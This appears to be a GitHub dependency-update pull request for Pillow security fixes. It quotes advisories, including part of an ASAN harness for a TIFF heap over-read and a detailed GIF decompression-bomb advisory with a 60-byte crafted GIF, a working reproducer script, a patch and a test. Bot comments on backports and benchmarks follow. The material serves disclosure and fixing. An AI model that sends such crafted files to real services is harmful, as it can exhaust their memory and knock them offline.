        try:
            messages = [json.loads(line) for line in output.splitlines()]
        except (ValueError, UnicodeError):
            messages = []
        ready = bool(messages and messages[0] == {"ready": True})
        if case == "colormap16":
            observed = bool(bounded and ready and status == 86 and len(messages) == 1
                            and b"AddressSanitizer: heap-buffer-overflow" in diagnostics
                            and b"READ of size 131072" in diagnostics
                            and b"0 bytes after 1536-byte region" in diagnostics
                            and b"PyImaging_LibTiffEncoderNew" in diagnostics
                            and b"_TIFFmemcpy" in diagnostics)
        else:
            observed = bool(bounded and ready and status == 0
                            and messages == [{"ready": True}, {"control_passed": True}]
                            and b"AddressSanitizer:" not in diagnostics)
        output.clear()
        diagnostics.clear()
        return {"case": case, "expected_observation": observed, "guard_passed": ready,
                "within_limits": bounded}

def main():
    parser = argparse.ArgumentParser(description='Fixed ColorMap extent mismatch: controls first, ASAN-only trigger.')
    parser.add_argument("--package-path", required=True, type=Path,
                        help="reviewed existing installation root containing PIL")
    parser.add_argument("--asan-runtime", required=True, type=Path,
                        help="reviewed existing compatible ASAN dylib; never loaded late")
    parser.add_argument("--child", choices=CASES, help=argparse.SUPPRESS)
    arguments = parser.parse_args()
    if arguments.child:
        limits()
        return child(arguments.child, arguments.package_path.resolve())
    try:
        package = arguments.package_path.resolve(strict=True)
        runtime = arguments.asan_runtime.resolve(strict=True)
        if not package.is_dir() or not runtime.is_file():
            raise ValueError("invalid existing paths")
        for case in CASES:
            fixture(case)
        results = [run_case(case, package, runtime) for case in CASES]
    except Exception:
        print(json.dumps({"setup_failed": True}))
        return 2
    for result in results:
        print(json.dumps(result, sort_keys=True))
    return 0 if all(result["expected_observation"] for result in results) else 1

if __name__ == "__main__":
    raise SystemExit(main())

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS

CVE-2026-112400 / GHSA-65qm-jvmh-6pqg

More information

Details

============================================================================
GIF seek keeps rejected size after DecompressionBombError, allowing DoS
Location: src/PIL/GifImagePlugin.py:293  in GifImageFile._seek()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.

The bug is in GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294). When a frame's extent enlarges the image, the code assigns the new size to self._size and only then calls Image._decompression_bomb_check(). Nothing restores the old size when DecompressionBombError is raised, because seek() only rolls back on EOFError. After the caught error, im.size reports the rejected size while the pixel buffer im.im is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.

In the attached reproducer, the rejected size is 40000×40000. A retried seek(1) followed by load() then reaches load_prepare(), which calls Image.core.fill() with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. Image.new("RGB", im.size, ...) and rotate(..., expand=True) also allocate from the stale size.

The default paths are unaffected: plain Image.open() plus load(), ImageSequence.Iterator, and n_frames/is_animated. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.

Details

GifImageFile._seek() lets a later frame enlarge the image, and performs the
decompression-bomb check for the new size only after storing it on the object:

##### src/PIL/GifImagePlugin.py:289-294  (GifImageFile._seek)
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
    self._size = max(x1, self.size[0]), max(y1, self.size[1])   # state mutated
    Image._decompression_bomb_check(self._size)                 # ...then validated

_decompression_bomb_check() (src/PIL/Image.py:3586) raises
DecompressionBombError for anything above 2 * MAX_IMAGE_PIXELS
(178 956 970 px by default), but by then self._size already holds the rejected
value and nothing restores it: seek() (GifImagePlugin.py:166-179) only rolls
back on EOFError, and _seek(0) only ever grows _size. The object that the
application still holds therefore reports im.size == (40000, 40000) while
im.im is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a
few lines further down in the same function (GifImagePlugin.py:383 and :407),
which call _decompression_bomb_check(dispose_size) before the corresponding
Image.core.fill(), and TiffImagePlugin.load_prepare()
(src/PIL/TiffImagePlugin.py:1319-1321), which checks _tile_size before
allocating from it.

With this 60-byte GIF (hex)

47494638396101000100800000000000ffffff          GIF89a, 1x1 screen, 2-entry global palette
2c000000000100010000 02 024401 00               frame 0: 1x1 @ (0,0), LZW data
2c00000000409c409c00                            frame 1 descriptor: 40000x40000 @ (0,0)
2c000000000100010000 02 024401 00               another 1x1 frame
3b                                              trailer

Image.open() succeeds (im.size == (1, 1)), im.seek(1) raises
DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, and afterwards im.size == (40000, 40000),
im.im.size == (1, 1), im.tell() == 0.

What happens next depends on what the application does with the object, but
several ordinary operations take their dimensions from im.size rather than
from the C buffer:

  • Retrying im.seek(1). The failed _seek left self.__offset == 0 and the
    file pointer just past the 9-byte descriptor, so the retry parses whatever
    follows — in the file above, a valid 1×1 frame — and succeeds. im.load()
    then runs GifImageFile.load_prepare():
    # src/PIL/GifImagePlugin.py:452-456
    elif self.mode in ("RGB", "RGBA"):
        self._prev_im = self.im
        if self._frame_palette:
            self.im = Image.core.fill("P", self.size, self._frame_transparency or 0)
    which allocates and memsets a 40000×40000 "P" image (1.6 GB) to decode a
    1×1 tile into, and load_end() (GifImagePlugin.py:485-491) fills a second
    one and converts it to RGB (another 1.6 GB + 6.4 GB).
  • im.rotate(angle, expand=True) for a non-multiple-of-90 angle, or the
    common flatten-onto-background idiom Image.new("RGB", im.size, bg), allocate
    from im.size as well (measured on an object poisoned to 20000×20000:
    rotate(45, expand=True) completes and touches 776 MiB;
    Image.new("RGB", im.size, "white") touches 1.5 GiB). Operations that pass
    im.size as a box against the real buffer (thumbnail, resize, save)
    fail with ValueError/SystemError instead.

The extent fields are 16-bit offset plus 16-bit size, so the stored size can be
pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA"
storage), 96× the error threshold.

n_frames / is_animated are not affected: they call
_seek(frame, update_image=False), which skips the _size assignment (the file
above reports n_frames == 2, is_animated == True and leaves im.size at
1×1).

Impact

A remote user who can upload a GIF to a service that (a) seeks animation frames
and (b) catches the exception from seek() — a broad except Exception around
a while True: im.seek(im.tell()+1) frame-collection loop, or an explicit
except DecompressionBombError: log and continue — and then keeps using the
same Image object, ends up driving allocations of 1.6 GB to tens of GB from a
60-byte file: MemoryError after the process has committed gigabytes, or an
OOM kill of the worker when no address-space limit is set. The
MAX_IMAGE_PIXELS guard fires, but does not actually keep the rejected
dimensions out of the object it is guarding.

The precondition is real application behaviour but not the default path:
Image.open(); im.load() is unaffected, and ImageSequence.Iterator propagates
the error out of the for statement (a try inside the loop body does not
swallow it). Hence low severity. This is adjacent to the GIF extent bomb check
added for CVE-2022-45198: the ordering was introduced with that check in
c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30), first
released in Pillow 9.2.0. Before it, the same size growth happened with no
check at all; the check introduced there is the one that runs too late.

Reproducing

repro is a single Python script run against the installed Pillow. It needs
about 1.7 GB of free RAM.

  1. setup_env() caps the process address space at 3 GiB with
    RLIMIT_AS, so the oversized allocations end in MemoryError instead of
    the OOM killer. It then opens the 60-byte GIF shown above, built in memory
    by bomb_gif(). The GIF contains a 1×1 screen and a 1×1 frame 0, so
    Image.open() passes its own bomb check. Next comes a bare frame-1 image
    descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error
    threshold). A real 1×1 frame follows it.
  2. poc() calls im.seek(1) and catches DecompressionBombError, the way
    an application that skips bad frames would.
  3. First check: the state is inconsistent. The script prints im.size next
    to the real pixel buffer im.im.size. If the rejected frame had left the
    object unchanged, both would be (1, 1). On the affected code im.size is
    (40000, 40000).
  4. Second check: memory use. The script retries im.seek(1), which now
    parses the trailing 1×1 frame, and calls im.load(). It prints the
    process's peak RSS before and after. load_prepare() sizes its
    Image.core.fill() from im.size, so loading a single pixel fills a
    1.6 GB buffer before the 3 GiB cap stops the next allocation.

Expected output on the affected tree:

open(): 60-byte GIF, size=(1, 1)
seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.
after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)
seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB
BUG

The script prints BUG only if both checks hold: the over-limit size stayed
on the object after the exception, and peak RSS grew by more than 1000 MiB
while loading a 1×1 frame. Otherwise it prints OK. With the attached patch
applied, it prints im.size=(1, 1), peak RSS stays at about 23 MiB, and the
last line is OK.

Suggested fix

The attached patch validates before mutating in GifImageFile._seek()
(src/PIL/GifImagePlugin.py:292-294): the enlarged extent is computed into a
local, passed to _decompression_bomb_check(), and only then assigned to
self._size, matching the order of the two dispose_size checks further down
the same function. A rejected frame therefore leaves the object in its pre-seek
state; valid files behave as before, and the exception is still raised at the
same point:

--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]

n_frames / is_animated go through update_image=False and are unaffected.
The patch also extends test_exception_gif_extents in
Tests/test_decompression_bomb.py to assert that im.size is unchanged after
the DecompressionBombError. It does not change seek() itself; optionally,
seek() could also treat DecompressionBombError like EOFError and re-seek
to last_frame, so that a retried seek() does not resume parsing from the
middle of the rejected frame.

The patch

GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size

Applies to src/PIL/GifImagePlugin.py at the commit above.

diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py
index 98d833736..83cc785fc 100644
--- a/Tests/test_decompression_bomb.py
+++ b/Tests/test_decompression_bomb.py
@@ -63,6 +63,9 @@ class TestDecompressionBomb:
             with pytest.raises(Image.DecompressionBombError):
                 im.seek(1)
 
+            # The rejected frame should not have changed the image size
+            assert im.size == (100, 100)
+
     def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None:
         # Set limit to trigger exception on the test file
         monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128)
diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..f9bda06c2 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
                 x0, y0 = i16(s, 0), i16(s, 2)
                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])
-                    Image._decompression_bomb_check(self._size)
+                    size = max(x1, self.size[0]), max(y1, self.size[1])
+                    Image._decompression_bomb_check(size)
+                    self._size = size
                 frame_dispose_extent = x0, y0, x1, y1
                 flags = s[8]
The reproducer
Reproducer — repro, 2,474 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

#!/usr/bin/env python3
##### GifImageFile._seek() stores a frame's enlarged size in self._size and only

##### *then* runs the decompression-bomb check. The check raises, but the object
##### keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the

##### next load() allocates from that size: 1.6+ GB for a 60-byte GIF.
import io
import resource
import struct

from PIL import Image

BOMB = 40000  # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold
LIMIT = 2 * Image.MAX_IMAGE_PIXELS

def frame_1x1():
    # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream
    return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"

def bomb_gif():
    return (
        b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3
        + frame_1x1()                                         # frame 0: 1x1, passes open()
        + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0)   # frame 1 claims 40000x40000
        + frame_1x1()                                         # a real 1x1 frame follows
        + b";"
    )

def peak_rss_mib():
    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024

def setup_env():
    # Cap the address space so the oversized allocations end in MemoryError
    # instead of the OOM killer.
    resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))
    data = bomb_gif()
    im = Image.open(io.BytesIO(data))
    print(f"open(): {len(data)}-byte GIF, size={im.size}")
    return im

def poc(im):
    # An application skips the bomb frame and keeps going.
    try:
        im.seek(1)
    except Image.DecompressionBombError as e:
        print(f"seek(1) raised as intended: {e}")
        return True
    return False

im = setup_env()
raised = poc(im)

##### Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).
print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}")
poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1)

##### Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its

##### buffers from the poisoned im.size.
before = peak_rss_mib()
im.seek(1)
try:
    im.load()
    outcome = "completed"
except MemoryError:
    outcome = "MemoryError at the 3 GiB cap"
after = peak_rss_mib()
print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB")
ballooned = after - before > 1000

print("BUG" if poisoned and ballooned else "OK")

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

[!IMPORTANT]
✂ PR body was truncated to here.

@forking-renovate forking-renovate Bot added dependencies Pull requests that update a dependency file release/v1.2 back porting to release/v1.2 security labels Oct 21, 2026
@Yicong-Huang Yicong-Huang added the release/v1.3 back porting to release/v1.3 label Oct 21, 2026
@github-actions
github-actions Bot requested a review from mengw15 October 21, 2026 04:54
@github-actions

github-actions Bot commented Oct 21, 2026 •

Copy link
Copy Markdown
Contributor

Backport auto-label report

This fix: PR was checked against each actively-supported release branch. A release/* label nominates a backport target; the branch's release manager approving this PR is what sends the fix there. The required Backport Approvals check stays red until every label below is approved, so each manager either approves or removes their own label — which is why the labels left on a merged PR are exactly the branches it reached.

Release branch Analysis
✅ release/v1.3 Already labeled — this fix is queued to backport here. @mengw15 decides: approving sends the fix here, removing this label declines it. The merge waits on one or the other.
✅ release/v1.2 Already labeled — this fix is queued to backport here. @xuang7 decides: approving sends the fix here, removing this label declines it. The merge waits on one or the other.

Auto-label run.

@github-actions

Copy link
Copy Markdown
Contributor

Automated Reviewer Suggestions

Based on the git blame history of the changed files, we recommend the following reviewers:

  • No candidates found from git blame history.

@codecov-commenter

Copy link
Copy Markdown

⚠️ JUnit XML file not found

The CLI was unable to find any JUnit XML files to upload.
For more help, visit our troubleshooting guide.

auto-merge was automatically disabled October 26, 2026 17:23

Head branch was pushed to by a user without write access

@renovate-bot
renovate-bot force-pushed the renovate/pypi-pillow-vulnerability branch from ed8ad9d to 14188dd Compare October 26, 2026 17:23
@github-actions

Copy link
Copy Markdown
Contributor

⚠️ Benchmark changes need a look

🟢 2 better · 🔴 2 worse · ⚪ 11 noise (<±5%) · 0 without baseline

Compared against main 1ac5b22 benchmarked on this same runner, so the delta is largely free of cross-runner hardware noise. The "7d avg" column still reflects the gh-pages dashboard. Treat <±5% as noise unless repeated.

Dashboard · Run

config throughput MB/s latency max Δ latest / 7d
🟢 bs=10 sw=10 sl=64 560 0.342 17,569/25,881/25,881 us 🟢 -11.0% / 🔴 +111.7%
🔴 bs=100 sw=10 sl=64 1,107 0.676 87,666/106,526/106,526 us 🔴 -5.5% / 🔴 +22.2%
⚪ bs=1000 sw=10 sl=64 1,328 0.811 755,027/808,392/808,392 us ⚪ within ±5% / 🔴 -6.2%
Baseline details

Latest main 1ac5b22 from same runner

config metric PR latest main 7d avg Δ latest Δ 7d
bs=10 sw=10 sl=64 throughput 560 tuples/sec 548 tuples/sec 1,019 tuples/sec +2.2% -45.1%
bs=10 sw=10 sl=64 MB/s 0.342 MB/s 0.334 MB/s 0.622 MB/s +2.4% -45.0%
bs=10 sw=10 sl=64 p50 17,569 us 17,306 us 10,144 us +1.5% +73.2%
bs=10 sw=10 sl=64 p95 25,881 us 29,085 us 12,225 us -11.0% +111.7%
bs=10 sw=10 sl=64 p99 25,881 us 29,085 us 15,527 us -11.0% +66.7%
bs=100 sw=10 sl=64 throughput 1,107 tuples/sec 1,172 tuples/sec 1,371 tuples/sec -5.5% -19.3%
bs=100 sw=10 sl=64 MB/s 0.676 MB/s 0.715 MB/s 0.837 MB/s -5.5% -19.2%
bs=100 sw=10 sl=64 p50 87,666 us 84,751 us 79,910 us +3.4% +9.7%
bs=100 sw=10 sl=64 p95 106,526 us 102,278 us 87,155 us +4.2% +22.2%
bs=100 sw=10 sl=64 p99 106,526 us 102,278 us 106,643 us +4.2% -0.1%
bs=1000 sw=10 sl=64 throughput 1,328 tuples/sec 1,329 tuples/sec 1,415 tuples/sec -0.1% -6.2%
bs=1000 sw=10 sl=64 MB/s 0.811 MB/s 0.811 MB/s 0.864 MB/s 0.0% -6.1%
bs=1000 sw=10 sl=64 p50 755,027 us 745,161 us 780,407 us +1.3% -3.3%
bs=1000 sw=10 sl=64 p95 808,392 us 799,744 us 817,814 us +1.1% -1.2%
bs=1000 sw=10 sl=64 p99 808,392 us 799,744 us 848,683 us +1.1% -4.7%
Raw CSV
config_idx,batch_size,schema_width,string_len,num_batches,total_ms,total_tuples,total_bytes,tuples_per_sec,mb_per_sec,lat_p50_us,lat_p95_us,lat_p99_us
0,10,10,64,20,357.11,200,128000,560,0.342,17568.79,25880.86,25880.86
1,100,10,64,20,1806.43,2000,1280000,1107,0.676,87666.08,106525.59,106525.59
2,1000,10,64,20,15060.57,20000,12800000,1328,0.811,755027.24,808392.27,808392.27

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file pyamber release/v1.2 back porting to release/v1.2 release/v1.3 back porting to release/v1.3 security

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants